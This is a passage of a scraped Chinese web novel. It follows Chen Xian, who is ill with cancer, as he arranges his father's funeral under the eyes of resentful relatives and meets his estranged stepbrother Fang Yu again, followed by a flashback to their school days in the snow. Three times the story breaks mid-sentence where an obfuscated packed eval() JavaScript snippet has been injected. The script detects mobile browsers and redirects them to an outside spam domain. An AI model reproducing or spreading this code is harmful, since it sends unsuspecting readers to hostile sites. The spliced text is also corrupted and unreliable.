陈建衡很快接起来:“怎么了?” “叔,”陈舷没什么底气地叫了他一声,“殡仪馆的刚刚给我打电话,说要过去挑一下守灵厅,还有棺材。” “要是我一个人去,又一个人定下来,搞得像我当家做主似的。那边肯定不满意,到时候会又怪我这个那个的。”陈舷顿了顿,“你能带着他们过来吗。” 陈舷没细说“那边”是谁,但陈建衡不过脑子都知道他说的是谁。 肯定是方真圆那一大家子。 陈舷自己不能拍板,但那一家子跟着去,又肯定要难为他。 陈建衡明白他的难处,点下头叹了口气:“行,没问题,我到时候也陪你在那儿选。你吃早饭了吗?住的哪个酒店?我先去接你。” “还没,一会儿下去吃点就行。”陈舷说,“我住的花宁酒店。” 陈建衡应声说好,嘱咐他吃点儿早饭去以后,挂了电话。 身上挂着一堆癌细胞,陈舷吃早饭也没胃口。 他吃了点儿干面包就吃不下了,喝了几口水就回了房。约莫过了半个小时,陈建衡给他打语音说自己到了,让他下来。 陈建衡开了辆中规中矩的蔚来电车来。陈舷坐上副驾驶,扣上安全带,陈建衡就一脚油门开了出去。 车开上大路,陈建衡随口问他:“买车了吗?” “没有。”陈舷回。 “哦,没事儿,这年头有车比没车还麻烦。”陈建衡笑笑,又问他,“在做什么工作?” “辞了。” 陈建衡不说话了。 陈舷转头望着车窗外。窗户上稀薄的倒影里,陈建衡依稀看见他平静得像死水似的眼睛。 窗外车水马龙,但陈舷的脸面无表情,麻木不仁。 陈建衡默默收起笑脸,转头望向前面的路,眉间渐渐阴沉下来。 “你爸。” 陈建衡顿了顿,把话断断续续地说了出来,“这些年,其实,挺后悔。” 陈舷身子僵了僵,肩膀一动,但没回头。 陈建衡用余光撇着他。 红灯变绿了,前面的车开始一辆辆地开出去,但他们这辆车还没动。 “有几年过年,他喝多了。”陈建衡说,“他把你表哥当成你了,抱了一晚上,哭着说对不起。” 前面的车开了出去,于是陈舷这辆也跟着往前行驶。 绿灯只剩下了十二秒。 等他们开到路口,倒计时结束了。 绿灯又变红了,前面的车子扬长而去,他们被卡在路口,等起了第二轮红灯。 陈舷没有说话。 他藏在袖子里的手悄悄用力攥紧,攥得颤抖不停。 他用力咬紧牙,仿佛是在竭力把什么东西往下压,咬得牙根阵阵酸疼。 又是一天阴天。 明明还在过年期间,偏偏天公不作美。 到了殡仪馆,陈建衡丝滑地把车停进停车场。陈舷拉开车门走出来,关上门,抬起头。 天上的云缓慢地游动着。 好像要下雪了。 陈舷朝着空中呼出一口白气。 方谕会来吗。 这想法刚冒出个头,陈舷就笑出声来——他怎么会来。方真圆当年被陈舷气死,恨不得把陈舷打出地球,疯了似的朝他声嘶力竭地喊,让他离方谕远点。 十几年后的今天,就算是有老陈葬礼这个不可抗力,他们也不会让陈舷离方谕太近。 肯定能不接触就不接触。 想着,陈舷夹夹衣领,跟着陈建衡往殡仪馆里面走。 还正在过年,殡仪馆里人不多,门口有个工作人员等候多时。 她笑着和陈舷打过招呼,把他带进了前台边的会客厅里。 “您的家人都到齐了,这边请。” 工作人员笑着说。 手插着兜跟着她走过来,陈舷一眼看见会客厅的沙发上坐着四五个人。 除了方真圆,余下的也都是很眼熟的亲戚。 陈舷下意识赔笑起来——直到他看到最里面最贵气的那张黑皮沙发上坐着的人。 陈舷的笑一秒僵在了脸上。 方谕斜斜歪歪地靠在沙发背上,翘着腿坐着,手里拿着手机,神情淡漠疏离,正噼里啪啦打着字。 听到声音,他抬起眼皮,看向陈舷。 陈舷尴尬地站在原地。 不是? 怎么他也跟着来了? 仿佛知道他在想什么,陈建衡凑近他耳朵边上,小声说:“嫂子说要带上他,也不知道怎么想的。” 陈舷抽抽嘴角,也不知道她怎么想的。 十多年前,方真圆不许他再见方谕,现在反倒一个劲儿把方谕往他脸上送。 陈舷看了眼方真圆。 方真圆把长发盘起,穿着一件修身的黑色毛衣,坐在沙发中央。她抬头,和陈舷对视一眼,视线里一片怨怼。 空气几分凝固,殡仪馆的工作人员却浑然不觉。 她走到方谕旁边空着的沙发上:“陈先生,这边请。” 陈舷更尴尬了。 方真圆咳嗽了声。 陈舷朝她那边看过去,就见她眼色不悦又可怜地剜了自己一眼。 “行了,我坐。” 陈建衡拉着陈舷走了过去,然后一屁股坐在方谕旁边。他拉着陈舷,让陈舷坐到了另一边去。 陈建衡就这么当了个路障,把他俩隔开了。 “满意了吧?”陈建衡也剜了眼方真圆,“行了没?” 方真圆摸了摸鼻子,低下脑袋,没吭声,装和她没关系。 方谕放下手机,看了她一眼,又看了看坐到旁边来的陈建衡。 最后,他看了眼陈舷。 陈舷松开陈建衡的手,伸手拿起桌上的一次性水杯。他没看方谕,只是默默地喝了口水,脸上还带着些残留的笑意。 气氛有些微妙。 方谕没说什么,伸手也去拿起面前的水杯,抿了一口。 陈舷偷偷瞥了他一眼,然后看向他身后。 昨天的小助理今天也照样跟在方谕后头。他没坐,正一本正经地负手站在方谕的沙发后面,一副随时可以差遣的管家样儿。 工作人员短暂离开,随后抱着一堆菜单似的大书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你现在是真有钱吗,陈舷。”他抬起眼皮,刀似的斜了他一眼,“你付了钱,结果守灵厅和墓地什么的,你一句话都不插,全让别人做主。现在这么喜欢做冤大头?” 陈舷无言以对。 “你不是也付了一半吗。”陈舷说,“有你一半的股份,让他们做主,就他们做主吧。” “他们以为我没付钱。”方谕淡淡,“我没跟她说。” 陈舷又怔了下。 方谕把手机塞回兜里。 “她不让我给你,可你以为我很听话吗。”他看着他,嗤笑了声,“我多叛逆,你不知道?” 陈舷说不出话,他的确最清楚。 他朝方谕讪讪地干笑笑:“都多少年前了。” 方谕脸上的笑忽的下去了。 “你回去吧。”陈舷往旁边躲了躲,苦笑着,“他们不让我见你。你呆久了,回头又要说我。” 方谕皱了皱眉,脸色顿时更黑了。 陈舷无所适从了下,又茫然起来。 他忽然不懂方谕为什么这个反应。明明十二年前他和他撕破脸时闹得很难看,明明陈舷说了一堆如同剥他皮捅他心一样的话,明明方谕被他气得呼吸性碱中毒都进了医院。 方谕不是恨死他了吗。 为什么陈舷现在让他回去,语气平和地让他离远点,他还这个反应? 陈舷看不明白他,于是索性不看了。 殡仪馆的工作人员小心翼翼地开口问:“陈先生,让这位先生付款没问题吗?” 陈舷转头笑笑:“没事,是死者家里人。” 然后身旁的视线更刺人了,陈舷心里一白,才反应过来说错了话,方谕估计再也不想跟老陈当一家人。 陈舷摸了摸嘴,决定不说话了。 “那您过来填一下表,签字吧。”前台拿出一份表格,“您这边请。” 陈舷走过去,拿起笔。 方谕一直站在旁边没走,陈舷感受到他阴郁的视线。 方谕的视线如芒刺背,陈舷有种被他拿着一把长刀刺来刺去的错觉。 他硬着头皮当不知道,下笔如风地噼里啪啦一阵写。 终于,在他写到老陈的住址,他们这重组家庭完整地呆过四年的“家”时,方谕开了口。 “陈舷,”他说,“你就没有话要跟我说吗。” 陈舷手上一顿。 11.留话 合海省,合海市宁城区,林苑街道,央礼府…… 刚把小区名写完,陈舷手上一顿。 他突然写不出来了,陈舷脑子里一片局促的空白,突然连老陈住哪儿都记不起来了。 方谕还在死死盯着他,陈舷感觉得到。 陈舷心中哑口无言,一股无所适从又袭上心头。 他突然四肢发麻,手轻轻发颤。 前台两个工作人员的目光顿时直了——两双眼睛滴溜溜地看看陈舷,又看看方谕,好奇又探究地把他俩看了一遍又一遍。 陈舷也感觉得到。 他僵了很久,一动没动。 方谕也没有丝毫要收回视线的意思。 “陈舷。”他又叫了他一声。 陈舷嘴角抽动两下,放下笔,仰起头,脸上一片强扯出来的笑:“什么?” “……”方谕的脸又阴了阴,“你没有话要跟我说吗。” 他重复了一遍,但这次的语气变得很差。陈舷一抖,从他身上感受到十二年前撕破脸时的杀气。 方谕好像想再给他一巴掌。 陈舷挠了挠脸,哈哈干笑两声,放下笔,回头颇为心虚地望了望会客厅里——果不其然,方真圆正盯着这边。 眼神灼灼,幽怨可怜,像蛇似的死死盯着他。 陈舷浑身都不自在。 方谕跟着他的视线,往回看了一眼。 他立马明白了什么,目光意味深长了一瞬,冷笑起来:“你还怕她?你不是骂她骂得最厉害着吗?” 十二年前的确是。 陈舷当年把方真圆骂得狗血淋头。 “回去吧,”陈舷不答这话,只讪讪道,“我答应你妈了,不会再见你,现在已经很破例了。” 陈舷重新拿起笔,在表上填了起来,心思却跟灵魂离体似的飘忽出去。 仿佛整个人解离了,他望着表格,却丝毫没感觉自己的手在动,写的每一个字好像都不是自己写的。 方谕还是没走。 他还是站在那儿一动不动,死死地盯着他。气氛顿时十分尴尬,陈舷硬着头皮写着资料,签完所有又回到地址那栏——在方谕跟他妈一样灼灼的目光里,陈舷头皮发炸,居然还是想不起来地址。 我操了,不吃药好了。 陈舷有点想骂人,他又不能在这个时候问方谕,家里是住哪个单元,又是第几层来着。 “陈舷。”方谕又开口了,他深吸一口气,语气里全是不耐烦,“你……” “小鱼!” 身后一阵高跟鞋踩地的脚步声。 陈舷紧绷的骨头顿时一松,长长出了一口气。 是方真圆。 方真圆三步并作两步地匆匆走来,到了方谕身边。 方谕啧了声。 听起来,他并不舒心。 陈舷摁了一把笔屁股,把笔尖收回去,悄悄有一下没一下地,用没出头的笔尖点着表纸,装作还在深思,装作自己很忙。 方真圆走到身边来,拉了一把方谕的袖子,语气不悦:“怎么这么久都不回来?不是说就看看情况吗?在这里跟陈舷说什么呢?” “没什么。”方谕冷声,又不动声色地后退两步,躲开她的手,“你过来干什么,不是叫你在那儿等着吗。” 被他躲开,方真圆一时有些尴尬。 她伸着手:“我过来看看你呀……我是你妈嘛。这么久都不回来,还是又跟陈舷有关系,妈妈担心你。” 说着,方真圆苦笑了声:“走吧小鱼,你外公外婆都想跟你多说两句话。你在国外那么忙,这些年都不怎么回来,快来跟他们多说说话。小时候,你跟你外婆最亲了。” 陈舷偷偷用余光瞟了眼。 方谕脸色阴冷,很不好看。一说外公外婆,他就眯了眯眼皱了皱眉,似乎并不是很想跟方真圆“回家”。 “不用了。”他说,“我走了,还有事。” 方真圆一愣:“有什么事啊,一会儿要给你爸爸入殓挑寿衣的!你这个儿子不在场……小鱼,小鱼!” 方真圆没叫住他,方谕转身就走了。 陈舷回头,见他走回到会客室,拿起挂在沙发上的衣服,叫上他的小助理,两个人朝着馆外快步离开,没有一丝留恋。 只是小助理在路过前台时,转头望过来一眼。 那双杏眼无辜,陈舷看得眼皮一抽。 俩人推开门走了,方真圆叫了好几声都没叫住。 她被尴尬地留在前台前。 空空荡荡的馆内,众人瞩目之下,所有人都看见了她没能留住儿子。 陈舷都替她尴尬。 半晌,方真圆吸了口气,抽搭两声,似是哭了,就那么边抹着眼睛,边回了会客室里。 她也脚步匆匆,逃也似的,回去了。 陈建衡跟她擦肩而过。 他也走出来了。这位叔叔散步似的,脚步闲适自得,悠哉得很。 陈建衡走到陈舷身边:“怎么,跟你说什么了?” “没有。”陈舷淡淡掠过这个话题,问他,“地址是什么来着?” 陈建衡愣了下:“什么?” “老陈家地址。”陈舷对着他叔叔无奈地道,“我这回,真不记得了。” 如同突然被雷劈了,陈建衡猛地一怔,脸上慢慢没了血色。他对着陈舷难以置信地、缓缓瞪大了瞳孔,呼吸急促了瞬。 陈舷只是苦笑。 “叔,”他小声问,“到底住哪儿来着?” “……三单元,”陈建衡说,“三单元,1101。” ——三单元,1101。 陈舷还是没有记忆。 这串家牌号,还是让他有种没听过的陌生感。 他只是写上了这串字,然后交给了前台。前台这会儿看他的目光很怪异——陈舷居然连死者住哪儿都不知道,真是很奇怪。 但是陈舷交的手续都齐全,文件也对,陈建衡听了他不记得家在哪儿这事儿,看起来也没有很意外。前台便没说什么,把手续流程做了下去。 守灵厅订好了,墓地和棺材也都定好了。 陈舷把手插进兜里,心不在焉地跟着工作人员走流程。 带着老方一家,他们又去馆内,给老陈挑了寿衣。 然后他们进了停灵室,在一旁看着入殓师给老陈收拾了遗容遗表,给他入殓上妆,换上了寿衣。 陈舷呆呆地看着老陈被一点一点收拾好。 工作人员又带着他们去看守灵厅。 确认没问题以后,守灵厅的布置就全权交给了殡仪馆。 工作人员恭恭敬敬地把他们送出了殡仪馆。 出了门口,就见空中飘起了细密的白色。陈舷一抬头,在呜呜的风声里,看见天上飘下飘扬的雪花。 下雪了。 陈舷呼了一口白气出来。 方真圆回头和工作人员寒暄着,双方礼貌地打了个来回,然后告了别。 陈舷在旁边听了会儿,听出没什么自己的事儿了,就抬腿往下迈了两个台阶,准备回去。 “陈舷。” 方真圆叫住他。 陈舷回头,撞上她诘问嫌恶的眼睛。 她红着眼睛,一脸戒备地问他:“你和方谕说什么了?” “没说,”陈舷对着她笑了笑,“他让我说话,我没说。” “他让你说什么话?” “谁知道,就问我有没有话要跟他说。”陈舷笑着,“多半是那时候被我骂的太突然,让我给他个道歉呗。不过你放心,我什么都没说。” 方真圆狐疑:“你真的什么都没说?” 陈建衡真是受不了了。 他扒拉开陈舷,两手叉腰地上前来,怒不可遏地骂起来:“你耳朵现在聋了是不是?他都说了没说没说,你……” “关你什么事?”方真圆拔高声音骂他,“我问你了吗?我在问陈舷!谁不知道他当年干了什么,现在还过成这样,你看看他!浑身上下所有衣服加起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526071|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还没有小鱼现在一颗袖扣值钱!” 说罢方真圆又瞪向他,“鬼知道会不会看小鱼现在风光了,就想打旧情牌……” 陈舷静静:“我还敢吗。” “你怎么不敢!?你——” “我不敢了。”陈舷打断她,“你看我还有那个身子骨,敢顶撞你吗。” 方真圆冷笑一声,本还想说,可嘴刚一张,撞上陈舷的眼睛,她突然什么话都说不出来了。 陈舷平静地望着她,脸上没有笑意。 他面无表情,脸色麻木,眼睛像两潭死水。那是一双死了一般的眼,看得方真圆心里一震,突然想起十二年前她和陈舷见的最后一面。 短短一个月,他瘦了一大圈,醒来一瞬间就爬上窗户,跨坐在窗框上撕心裂肺地朝她又哭又喊。 风吹着,雪在下。 十几年过去,陈舷站在她面前,麻木地看着他,两眼空洞,瘦弱单薄的像片落叶,马上就要被吹散掉。 方真圆浑身一震。 陈舷扯扯嘴角,突然又笑出来,笑得满目苍凉。 “方谕是你的。”他说,“把他看好点,别来找我事儿。” 放下这话,陈舷转身就走。 “陈——” 方真圆张嘴想叫住他,但刚出个音儿,陈舷就已经决绝转身。她突然喉间一哽,话就这样阻在喉咙里,再说不出什么。 陈建衡撇了她一眼,转身跟着走了,放下一句:“一群神经病。” “哎你!” “你怎么说话呢!”老头——方真圆他爹怒了,老头急哄哄地上前几步,骂他,“喂!老陈家的!” 老陈家的没理他,他几步追上早被扫地出门的亲侄子,把他二嫂一家的怒骂声置之脑后。 陈舷沉默地走到他车边。 陈建衡拿出车钥匙。嘀的一声,车灯一亮,门开了。 陈舷钻进车子,关上门。外面的风雪被隔绝开来,门关上的一瞬,他心里的大石头,和遇见方家人就开始的烦躁不安,与细密的微小恐惧,终于烟消云散。 车内的密闭空间让他安下心来,陈舷长出了一口气。 陈建衡摁了几个键,开了热风又把他座椅加热。坐在暖烘烘的副驾驶上,望着外头呼呼乱吹的风雪,陈舷都有些昏昏欲睡了。 “谢谢。”他扯着嘴角笑了声。 “谢什么,小事。” 陈建衡说着,一转头,看见方老头骂骂咧咧地指着他,倒腾着很不利索的脚步腾腾地过来了,骂得脸色狰狞。 陈建衡乐了声,揶揄了句“宝刀未老”,启动车子就开走了,生怕老头过来要趴他车头上一哭二闹三上吊,然后讹他八百万。 老头在后视镜里捶胸顿足地骂得更厉害了。 陈建衡爽得不行,哈哈大笑地锤了两下键盘,车子跟着滴滴两声。 陈舷望了眼后视镜。 看见追着骂着的老头,他没说什么,只别开视线,拿出手机,点了两下。 车子开上大路,陈建衡收了笑,问他:“哎,真的什么都没跟他说?” “嗯。”陈舷语气恹恹,“什么都没说。” 陈建衡苦口婆心:“他都来问你了。不如,你说了吧。” 陈舷没吭声。 车子平稳地往前开着,陈建衡被烟酒泡了几十年的老烟嗓略显沙哑:“陈舷,方谕这几年都没怎么回家。” “我也不太了解,这些年他跟家里怎么样,但他不是傻的,估计这几年也猜出什么来了。他去问你,要你说什么,或许实际的意思就是,找你要一个实话。” “你俩现在也不在一个户口本上了。你的事情,我觉得他会……认下吧。” “要不,你再试试?” 陈舷望着外面飘的雪。 车在前行,落雪被一片一片留在后面。 陈舷朝车窗上呼了一口气,忽然笑起来。 “十五岁那年,”他没头没脑的突然说了句,“还是我带他看的雪。” 12.初雪 方谕开始跟陈舷搭一辆公交上下学那天,也是个阴天。 那天下了初雪。 宁城真是个变脸比翻书还快的狗城市,下雪一直算早的。那会儿十一月中旬,陈舷起床拉开窗帘一看,天上地上全是白茫茫的一片,北风呼啸,整片儿宁城银装素裹。 陈舷一开窗,就看得“哗”了一声,心说这个好这个好下雪了下雪了,欢天喜地地转头推门出去洗漱了。 天气阴沉,但他心情明媚,因为方谕今天第一天跟他冰释前嫌,俩人要一起上学。 陈舷摇头晃脑地哼着小曲儿去刷牙洗脸,回屋里欢欢喜喜地换上校服穿上外套,背着书包一出门,就见方谕嘴里叼着牙刷,站在开放式厨房里,望着窗外发呆。 “哎!”陈舷朝他流氓似的吹了声口哨,“小鱼儿!” 方谕浑身一抖。 他回头,嫌弃地瞪了他一眼,嘴里一股牙膏沫子地含糊道:“告你唔叫。” “听不懂。”陈舷贱兮兮地咧嘴嘿嘿乐,“走啦,看什么呢?” “雪。” 说罢,方谕挠了挠乱糟糟的头发,转身进了卫生间,呼噜噜地漱了口。 在他哗啦啦的洗脸声里,陈舷才想起来,方谕是荷城来的。 这么一说……那地儿四季如春,从不下雪。 方谕第一次看见雪吧,这是。 方谕洗完脸出来了,他回卧室里拿上外套和书包,就走了出来。 一看见他那外套,陈舷大惊失色地大声“啊!”了一声,跟活见鬼了似的。 方谕吓了一跳:“干嘛?” “想死吧你,穿这个出门!”陈舷冲过来,抓着他这件薄得跟没穿差不多似的短款风衣打量一番,嫌弃地“去去去”了几声,把他转过去往屋子里塞,“换一件去,换厚的!穿这个出门,你一出去就得被吹成傻卵!” “不是……”方谕挣扎着,“这是我最厚的衣服了!” “?” 陈舷停下动作。 方谕回过头,一脸不满地盯着他——但有了昨天共同对抗宗哲阳的事儿,方谕再也凶不起来了,他看起来像小猫在瞪眼炸毛。 陈舷迷茫地和他对视片刻:“真假的,这就是最厚的了?” 方谕撇着嘴点点头,又很不服地揪揪手上的风衣:“这不是很厚了吗?加绒的!” 陈舷心说狗屁,就那点绒毛球子,跟没有差不多。 “快拉倒吧你,没经过风雪的愚蠢的南方人。” 陈舷说。 方谕顿时垮了一张小猫批脸,抽了抽嘴角。 陈舷打量了他一下,然后转身,回了自己屋子里。 方谕叫他:“哥,你干嘛去?” “等着!” 陈舷关上门,约莫两三分钟以后,又出了门来。 他手里拿着一件厚实的灰大衣,还有一条红黑格子围巾。 “穿这个。”陈舷把大衣和围巾都递给方谕,“我的,当时买的都是很宽松的,你应该也能穿。” 方谕虽然瘦,但骨架大,人还高,陈舷头顶只到他肩膀那么高,人虽然比他肉乎点儿,但体型还比他小一圈。 方谕放下书包,试着穿上,还真是挺合适。 “这也太厚了吧,”方谕拉开大衣,看了看里面,被大衣惊人的厚度吓得倒吸一口凉气,“太厚了呀,哥,我都要出汗了。” “因为你在屋里,而伟大的北方有一个伟大的发明,叫暖气。”陈舷悠悠说完,也穿上大衣围上围巾,背起包说,“热知识,暖气和你的床被一样,不会跟着你去上学。” 方谕:“……” “走啦。我去,再不走赶不上公交了!” 陈舷看了眼时间,顿时炸了大毛。他拉上方谕,匆匆忙忙往门口跑去,穿上鞋以后直奔电梯。 下了电梯出了门,迎面扑来一阵刺骨的呼啸寒风,把方谕掀得往后一个趔趄。 “我靠!这么大风!” 陈舷笑出声来。 顶着大风里的一脑袋乱毛,他转头拉过方谕的小臂,拉着他往公交站走,在风里大声说:“怎么样,哥没骗你吧。你要是穿刚才那件出来,这会儿是不是得被冻成孙子了?” 方谕无语凝噎,对着他抽抽眼角。 两人顶着风雪到了公交站,上了公交,坐到靠窗的一排,方谕长出一口气,终于活了过来。 车子发动,外头的风雪呼呼地拍在窗户上。 “真冷。”方谕转头,“每年冬天都这么冷?” “差不多。现在还好,还零上呢。”陈舷打开手机看了看天气,“下完雪才跌到零下。” “还会零下……” 方谕的脸更苦了,满脸都写着不情愿——荷城那边最低就没下过十度,估计“零下”这词儿,对方谕来说都是第一次听到。 这张深邃漂亮的脸就算拉下来也是好看,眼睛就跟丈量着画出来的似的,长睫细密眼尾狭长,连眼睛里漫上来的苦涩,都漂亮得像哪首宋词一般凄美。 好牛逼的建模。 陈舷暗暗赞叹了番方谕的脸,又低头看他身上的大衣,疑惑地犯起嘟囔:“话说把你接到这儿来,你妈怎么没记得给你置备两件厚衣服?这都要入冬了。” “她不记我的事。”方谕随口答,“她工作忙,我死不了就行。” “……不要那么说你妈妈。”陈舷说,“我爸公司是真的忙,没准真是给忘了。她也不容易嘛,晚上的时候你跟她说一声,她会给你买的。” 方谕没吭声。 他没作答,只是在座位上直了直身,望向窗外的飘雪。 他好像不高兴。 陈舷看出了他不高兴。 陈舷往旁飘飘眼神,随后挪挪屁股,往他身上一贴。 方谕吓了一跳,浑身一哆嗦,转头惊疑不定地望向他:“!” “弟弟。” 陈舷朝他眨巴眨巴眼,满眼放光,“昨天说的请哥吃饭,还算数不?” “……算。” “好!”陈舷一个鲤鱼打挺直起身,朝他哈哈地笑,“那我今天带你出门去吃小市场最牛逼的一家店。” 公交车呜呜悠悠地到了站,一下车,迎面又一阵呼啸的风雪。 两人跋山涉水逆着风雪进了教室,教室里已经一片哀嚎。学生们各个把自己包成狗熊,都哆哆嗦嗦地在骂这狗日的见鬼天气。 “我真是造了孽了才托生到宁城这破地儿!” 高鹏刚在陈舷后面一屁股闷声坐下,就骂骂咧咧起来,“狗日了我就,前天突然回温,老子把薄的衣服从箱底里又拿出来,结果穿了没两天,突然就下雨降温,老子就又换了厚的;然后又回温,我才把薄衣服塞回去,又拿出来了,拿出来还没半天呢!今天又下雪!” “我看起来很贱吗,老天爷这么玩我!”高鹏仰天长啸,低头一看,才看见陈舷,“哎哟,舷哥!你这就复活了?咋样,老班咋说的?” 陈舷正捧着热水吹了两口,喝下肚暖暖胃,一回头,刚要说话,他就见高鹏身上那叫一个装备齐全,毛手套毛帽子还戴了个毛耳罩,身上的羽绒服更是一圈一圈鼓得像米其林轮胎。 再加上高鹏胖乎的脸,大大的圆眼和天生上扬的嘴角和笑着的嘴巴——真跟米其林轮胎化人形了没两样。 意识到这点,陈舷一口水喷了出来,当场笑得弯下了腰。 “?”高鹏莫名其妙,“舷哥,你笑啥。” 陈舷笑得不行。 “你笑啥啊!” 陈舷笑得停不下来。 正这时,教室的门碰地打开,随着一声“哎哟我去!”,尚铭也包得跟个狗熊似的,顶着一脑袋白花花的雪进来了。 “哎?舷哥咋了,”他走到桌子旁边,“咋笑成这样?” “我哪儿知道,瞅我一眼就这样了!”高鹏气呼呼的。 “咋了,舷哥?”尚铭扭过头来,“你对宗哲阳的恐惧终于把你逼成了个傻.逼?” 陈舷努力直起了些腰,一指高鹏,声音断断续续:“米……米……” “米啥?” 陈舷笑崩了:“他跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532140|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 米其林轮胎……一模一样……” 高鹏:“……” 尚铭:“……” 尚铭看了高鹏一眼。 尚铭深深地把高鹏上上下下打量了一眼。 噗地一声,尚铭也鹅似的大笑起来。 高鹏涨红了脸:“有病吧你!” 陈舷笑得更上不来气了。 这动静把周围一圈人惊动了,有人回过头来,看见俩人笑得倒地,一个人涨红着脸怒骂着,便奇怪地问:“怎么了?” “笑成这样是干什么?” 尚铭笑得踉踉跄跄,扑到一旁的桌子上。他指着高鹏,乐不可支说:“舷哥说……说……说他像米其林轮胎……” 教室里沉默良久。 然后,笑声瞬间炸开,仿佛要把房顶掀飞似的。 高鹏挂不住脸地面红耳赤,手忙脚乱地站起来把衣服脱了,怒骂陈舷:“你有病啊!笑什么,不许笑了!谁是米其林呐!?陈舷!” 骂了会儿,高鹏就也骂不住了。他嘴角哆嗦两下,自己也对这个比喻难绷得要死,噗嗤一声也笑出了声来:“神经病吧你们!” 陈舷笑得都泪奔了。 他抹抹眼泪,抬起头,下意识地在人群里找方谕。他抬头望去,见到方谕坐在远处,围巾还没解开,半张脸都被挡着,耳朵通红。 陈舷知道方谕那时候在笑,却怎么都想不起来他笑的模样,只记得他脸很红。 真好,那时候真好。 外面的大风大雪被隔绝在外面,吹不进教室里。窗户外是呼啸的雪天,窗户里是笑作一团的、他那已经模糊的年少。 一个班的人都笑了很久,陈舷记得笑声吵嚷,也记得被笑的人到最后笑得也直不起腰,却忽然记不清方谕的脸了。 尚铭呼哧乱喘,又走过来揽住高鹏的肩膀,嘻嘻哈哈地又给这个笑话加了几个重磅级炸弹,把一个笑话推得更上一层楼,一群人笑得更不行了。 陈舷笑得都扑到地上,转身靠在和他隔了个过道的桌子腿上。他踉踉跄跄起身来,边笑又边看方谕。那时候方谕笑得通红了脸,摘下围巾来,也看向他。 笑了半天,一群人才收敛。陈舷起身坐回里边,尚铭意犹未尽地带着笑坐到他旁边,又说正事:“所以,你怎么样?你爸说你什么没?” “没有,”陈舷说,“我帮的方谕,他没好意思说我。” “那确实也是,你帮的是同学。”尚铭咂了下嘴。 陈舷笑笑:“他叫我不用管。昨晚上他给老班打了个电话,好像商量了一下医药费什么的,然后我就没事了。昨天宗哲阳怎么说?” “不知道,一整天都没见着他。下午的时候也不知道到底怎么办的,宗哲阳下午拿了书包又走了,听说是被劝退了。” “诶!”陈舷大惊,“怎么给劝退了,这么狠!” “能不狠吗,叶子昨天去给作证了,班里还有好几个人都听到了,听到他威胁方谕还骂你。” “再加上宗哲阳这次回来,是观察期啊。上次他犯那么大的事儿,说好了回来之后会观察他一段日子,考察要不要让他休学。结果回来上学半天没到,就又出事儿,这回能不让他退学吗。” “喔,原来如此……” “别原来如此了,话说,冰大帅原来那么惨。”尚铭凑到陈舷耳朵边上来,偷看着方谕那边,“也不知道宗哲阳说的是真的假的,我都有点可怜他了。” 陈舷无奈:“他不是私生子啦,昨天跟我说过了。” “他说你就信?” “他骗我干什么。”陈舷说,“你对他放尊敬点,不许说他了,我真是他哥。” 尚铭呵呵一笑,从包里拿出个不知从哪儿买的铁板里脊来:“你又认了个小弟呗。我舷哥人格魅力还真是……” “这次真不是。” “啊?” 陈舷看着他,一脸诚恳:“是他妈跟我爸结的婚。” 尚铭脸上的笑意骤然消失。 就见他手里一松,刚拆开袋子的铁板里脊掉到了地上。 13.座位 无视尚铭目眦欲裂、两眼瞪圆、满目震惊的脸,陈舷低头看看他掉到地上的铁板里脊——饼衣白胖胖、里脊香喷喷、生菜绿油油、煎蛋香香香的,简直能出演中华小当家的铁板里脊。 陈舷抬头:“明,你的铁板里脊跳楼死了。” 尚铭哪儿还管得上五块一个的狗屁铁板里脊。 “你刚说什么?”他置若罔闻,两手颤抖,难以置信,“你再说一遍,舷哥,你再说一遍!?” “所以我说,方谕他亲妈和我爸结的婚,”陈舷无可奈何地真重复了一遍,“他是我真弟弟,放学回家就睡我隔壁屋。” “什么!?!” 尚铭终于从嗓子眼里憋出一声暴喝,蹭地站起身来。 他转头朝向方谕,大叫,“我操!大帅!你真是舷哥他弟弟啊!” 方谕在岁月静好地翻练习册,一听这话,他差点儿被自己口水呛到。 他吓了一跳,瞪着眼睛转过头来。 尚铭这人也是有病,有事儿他从不想着拐弯抹角,上去就是干——所以陈舷有时候管他叫山炮。 陈舷也吓了一跳,他赶紧抓了一把尚铭。但为时已晚,尚铭已经把话喊出来了,陈舷只好朝方谕不好意思地笑笑。 方谕眼角抽了两下。 班里人顿时都吃惊无比地扭过脑袋来,有人迷茫有人震惊。 尚铭这人就是个傻狗,陈舷都使劲拽了他一把了,他却置若罔闻,站起来就连滚带爬地朝着方谕冲了过去,追问他:“真假的!真假的!你真是舷哥他弟啊!” 方谕显然不习惯这么热情的人。他抽抽嘴角,看看尚铭,又偏头看了看陈舷。 他狠狠瞪了陈舷一眼,满脸都是不爽和怪罪。陈舷不知道怎么办才好,只好双手合十,遥遥地朝他连拜几下,赔了几声笑。 方谕无可奈何地叹了口气,点头应下:“是。” 尚铭瞬间一个蹦起,连连“我曹”了好几声,竟然兴奋得手舞足蹈起来:“牛啊你俩,还有这么巧的事儿!” 